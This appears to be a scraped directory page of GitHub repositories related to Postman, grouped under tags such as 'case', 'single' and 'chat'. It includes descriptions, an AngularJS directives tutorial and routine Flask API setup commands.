docusign/postman-esign-api-collection
case, cases, collection, docusign, endpoint, endpoints, guide, recipe 		A easy guide to Getting Started with DocuSign's E-Signature API using Postman. Showcases recipes and all REST API endpoints 0 stars 0 watchers 31 forks
httprunner/postman2case
case, cases, http, httprunner, runner, test, testcase 		Convert Postman Collection Format to JSON/YAML testcases for HttpRunner. 0 stars 0 watchers 8 forks
Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
endyquang/TestCasesToJSON
case, cases, excel, file, files, form, format, parsing, test, tool 		A tool that help parsing test cases from excel files to postman format. 1 stars 1 watchers 0 forks
simonychuang/dog_apitesting
apitest, case, cases, test, testing 		Postman test cases for dog API 0 stars 0 watchers 1 forks
ArpithaArun/Qantas_API_Project
case, cases, regression, test 		Automation regression test-cases using Postman 0 stars 0 watchers 1 forks
arunrajachandar/covid
case, cases, covid, dashboard, data 		It's a very basic COVID dashboard with world map and datatable showing the recovered, death and overall confirmed cases country-wise. Front-end: React, Bootstrap | Map Component: React Geo Charts(Google API) | Data Source : Postman API 0 stars 0 watchers 0 forks
arunrajachandar/covidSrcCode
case, cases, covid, dashboard, data 		It's a very basic COVID dashboard with world map and datatable showing the recovered, death and overall confirmed cases country-wise. Front-end: React, Bootstrap | Map Component: React Geo Charts(Google API) | Data Source : Postman API 0 stars 0 watchers 0 forks
GORA-SAG/APIGateway-Postman-Collection
case, cases, collection, postman collection 		Contains the postman collection for Gateway APIs and for some use cases 0 stars 0 watchers 0 forks
hirosht/restAssuredApiTestFramework
case, cases, endpoint, endpoints, framework, maven, rest, sample, struct, structure, test 		Sample framework written for API Testing using RestAssured/TestNg. Project is structured with the maven repo. The sample test cases are pointed to endpoints given from Postman. 0 stars 0 watchers 0 forks
lilitam/stores_rest_api_test
case, cases, design, designed, python, rest, store, stores, test 		Rest API - test cases designed in python and with Postman 0 stars 0 watchers 0 forks
namanmishra001/ReST_JSON
application, case, cases, test 		Use this application and test the cases with either Postman or ARC 0 stars 0 watchers 0 forks
SaiKiran-PanSoftware/Postman_Testcases
case, cases 		This repository contains the Postman Collections and Environments. 0 stars 0 watchers 0 forks
sushildangi/omnicuris-technical-assignment-e-commerce
application, assignment, bulk, case, cases, commerce, email, list, listing, mail, operation, operations, order, orders, stock, technical 		1. CRUD operations on items 2. All items listing 3. Single & bulk ordering (Just consider the item, no. of items & email ids as params for ordering) 4. All orders Please consider all the cases like out of stock etc. while making the application. You can also add more features/APIs as suitable for you. 0 stars 0 watchers 0 forks
uchat/postmanTestcaseGenerator
case, cases, chat, test 		Generate Postman test cases from JSON 0 stars 0 watchers 0 forks

single (16 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
WebDevInfrastructure/MailingLists
development, general, import, interface, list, lists, maintained, single, standard, struct, structure, updating 		Mailing lists are an important part of the infrastructure of development of Web standards - generally PostMan is the standard, but it is maintained by a single individual and the interface/features could use some updating. 3 stars 3 watchers 1 forks
iamd3vil/postman
facilitate, facilitates, mail, notification, service, single 		A single service which facilitates Email, Sms and Push notifications. 1 stars 1 watchers 1 forks
daggerok/gradle-postman-example
collection, example, function, functional, gradle, html, newman, package, postman collection, report, reports, single, test, tests 		This repository contains example how to execute postman collection tests using gradle (newman npm package). Add functionality to collect all html reports into single one 1 stars 1 watchers 0 forks
rwilcox/postal_clirk
collection, collections, export, exported, postman collection, postman collections, single 		Ever wanted to set up or run a single Postman request from exported postman collections. Here you go. Simple Postman requests only 1 stars 1 watchers 0 forks
TruthZZ/Single-cost-limited-Chinese-Postman-Problem
cost, implementation, route, single 		A Python implementation for Chinese Postman Problem with a limitation on the length of a single route based on heuristic algorithm 1 stars 1 watchers 0 forks
wanyukang/vue-postman
application, personal, route, router, single 		a single page application for personal practice, based on vue + vuetify + vuerouter + vuex. 1 stars 1 watchers 0 forks
Pal0720/Dec-api
application, data, database, details, endpoint, example, following, form, framework, function, functions, implementation, implementations, list, memory, multiple, names, product, products, retrieve, script, security, send, service, single, spec, store, stores, updated 		Build a RESTful API/MICROSERVICE with the following implementations : The API/Microservice must perform these basic CRUD Operations : - Accepts a request to add a new entry into the database. - Accepts a request to update an existing entry into the database. - Accepts a request to retrieve all the existing entries from the database. - Accepts a request to retrieve a single entry with respect to a particular field (ID, Name, etc.. ) from the database. a. Products : Products Table Schema : Decathlon_Products ProductID | ProductName | ProductSport | ProductLevel | ProductDescription | AssociatedStores | b. Stores : DB Table Schema : Decathlon_Stores StoreID | StoreName | StoreCity | Note : 1. 'AssociatedStores' is the field to capture the StoreIDs in which the product is available. It can be multiple stores. 2. Both Products and Stores API can be called separately and together to perform the above mentioned functions. For Ex: Expose one endpoint (for example: /stores/{store_id}/products/{product_id} ) to retrieve the details of the product associated to a store. Expose one endpoint ( /stores/store_id/products ) to list all the products available in that particular store. 3. IDs and names cannot be updated. 4. You can use Spring Boot(Java) or Django Framework (with Python) or any framework you are comfortable with to build the application with Maven. 5. You can use an in-memory database : H2/Apache Derby. 6. You can use Postman as the REST Client to send requests. Security : Implement a Basic Authorization security mechanism, which is validated on all requests. 0 stars 0 watchers 1 forks
cscawley/api-load-testing
collection, collections, light, postman collection, postman collections, single, test, tester, testing, threaded 		A light API load tester (single-threaded). Using postman collections and Newman. 0 stars 0 watchers 0 forks
andreprawira/Simple-REST-API-using-Spring-Boot-Hibernate-and-MySQL-Database
application, data, database, employee, employees, forge, generate, generated, list, method, properties, resource, resources, single, source, spec 		It's a very simple REST API for employee management using Spring Boot, Hibernate, and MySQL. Test it with Postman: Use GET method to list all of the employees or a single employee specified by ID Use POST method to save an employee (ID auto generated) or use a PUT method to update if employee ID already exist (specify the employee ID in the url to update) Use DELETE method to delete an employee (specify the employee ID in the url to delete) Dont forget to change the application.properties to connect the database with the app (located in src/main/resources/application.properties) 0 stars 0 watchers 0 forks
avinash24p/Postman-SqlClient
api blueprint, asyncapi, client, integrate, json schema, oauth, openid, single, sql 		Node App to integrate Postman like app and sql client in a single page app 0 stars 0 watchers 0 forks
caren1/RESTful-API
application, article, express, list, listing, mongo, mongoose, single, test, tested 		RESTful application based on Node.js, express.js and mongoose tested with Postman, that allows for adding, listing, deleting and editing all and single articles. 0 stars 0 watchers 0 forks
fsoft72/postman-composer
compose, composer, file, files, single, software 		A software to merge multi Postman files into a single one 0 stars 0 watchers 0 forks
iSatishYadav/postMany
multiple, single 		Posting multiple entities in a single POST 0 stars 0 watchers 0 forks
LarryKarani/IreporterReactJs
access, application, auth, check, clone, command, coverage, development, download, endpoint, endpoints, environment, flask, following, framework, github, heroku, http, https, install, lang, language, list, local, location, login, machine, program, programming, pytest, python, report, reporter, require, signup, single, source, stat, status, terminal, test, tested, user, users, version, youtube 		# iReporterApi iReporter is an application whose aim is to reduce corruption in Africa and foster economic development. It allows users to create red flags and interventions. It implents the following list of APIs. ### Framework used The application is built using python: flask framework. >[Flask](http://flask.pocoo.org/) is a microframework for the Python programming language. ### End points Method | Endpoint | Usage | | ---- | ---- | --------------- | |POST| `/api/v2/auth/signup` | Register a user. | |POST| `api/v2/auth/login` | Login user.| |POST| `api/v2/auth/logout` | Logs out a user.| |POST| `api/v2/interventions` | Create a new incident. | |GET| `api/v2/interventions` | Get all the created incidents. | |GET| `api/v2/interventions/user` | Get all incident of the logged in user. | |GET| `api/v2/interventions/` | Get a single incident. | |PATCH| `api/v2/interventions//location` | Update a single incident location. | |PATCH| `api/v2/interventions//comment` | Update a single incident comment. | |PATCH| `api/v2/interventions//status` | Update a single incident status. | |DELETE| `api/v2/interventions/` | Delete a single incident. | ## Installation 🕵 - To run on local machine git clone this project : ``` $ git clone https://github.com/larryTheGeek/iReporterApi.git ``` Copy and paste the above command in your terminal, the project will be downloaded to your local machine. To Install python checkout: ``` https://www.python.org/ ``` - create a virtualenv and make it use python 3 using the following command. ``` $ virtualenv -p python3 env ``` - activate the virtual environment ``` $ source env/bin/activate ``` - Install Requirements ``` $ pip install -r requirements.txt ``` ### Testing - Run Test using pytest with the following command ``` $ py.test --cov=app test` ``` you will get the test coverage report on your terminal The app can also be tested via Postman - Run App ``` $ python run.py ``` The app should be accessiable via : http://127.0.0.1:5000/ open postman and navigate to the API endpoints described above ### HEROKU URL https://ireporter-version2.herokuapp.com/api/v2/ ### Owner - Larry Karani ### Motivation https://www.youtube.com/watch?v=wHRUDL7GKmI 0 stars 0 watchers 0 forks
shubhamjadon/SampleSingleRequestRun
details, file, files, inside, sample, single, test 		This repository contains all the files used to test sample single request run feature and details of changes made inside postman repository to add the feature 0 stars 0 watchers 0 forks

chat (15 listings) (Back to Top)

wechatpay-apiv3/wechatpay-postman-script
chat, script 		微信支付API v3的调试工具 0 stars 0 watchers 22 forks
Inn4ki/chatapp
admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
SunDoge/vue-postman
chat 		A Vue.js project works like postman for wechat. 1 stars 1 watchers 1 forks
JimmyCastiel/postman
chat, secure, secured, threaded 		Multi-threaded secured chat over TCP 1 stars 1 watchers 0 forks
WouterJanson/Fix-bunq-support-notifications
chat, collection, notification, support 		A collection of Postman request that lets you fix a bug with the support chat notifications. 1 stars 1 watchers 0 forks
sonali-developer/SmackApplication
application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
devalshilu/postmanchat
chat, description, script 		No description available. 0 stars 0 watchers 0 forks
oleh-polishchuk/slack-postman-chatbot
chat, description, script, slack 		No description available. 0 stars 0 watchers 0 forks
aq1/vkPostman
chat, friend, move, moved, telegram 		You removed yourself from VK but have some friends you want to chat? This telegram bot can help you! 0 stars 0 watchers 0 forks
dinushchathurya/node-mysql-crud-app
api blueprint, asyncapi, chat, crud, express, json schema, mysql, node, nodejs, oauth, openid, sql 		Create Restful API using nodejs, express and mysql 0 stars 0 watchers 0 forks
gondar00/postman-chat
chat 		socket.io 0 stars 0 watchers 0 forks
NeytChi/mini-message
chat, document, http, https, message, mini, server, test, version 		Little server for little chat app. Postman: https://documenter.getpostman.com/view/5257392/S1a1aUAN?version=latest#f26b02f5-ca14-4139-a88e-b37d1e8c28cc 0 stars 0 watchers 0 forks
ragizaki/ConsultED
backend, chat, design, designed, future, learn, model, options, software, student, test, tests 		FAQ chatbot designed to help secondary students better learn of their post-secondary options. The model tests the accuracy of responses and incorporates them in the future. Postman software was used, and called the Genesys API to create the backend of the chatbot. 0 stars 0 watchers 0 forks
rohitchatla/swagger.io-openAPI
api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation 		For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy 0 stars 0 watchers 0 forks
uchat/postmanTestcaseGenerator
case, cases, chat, test 		Generate Postman test cases from JSON 0 stars 0 watchers 0 forks

sort (15 listings) (Back to Top)

simionrobert/cloud-signature-consortium
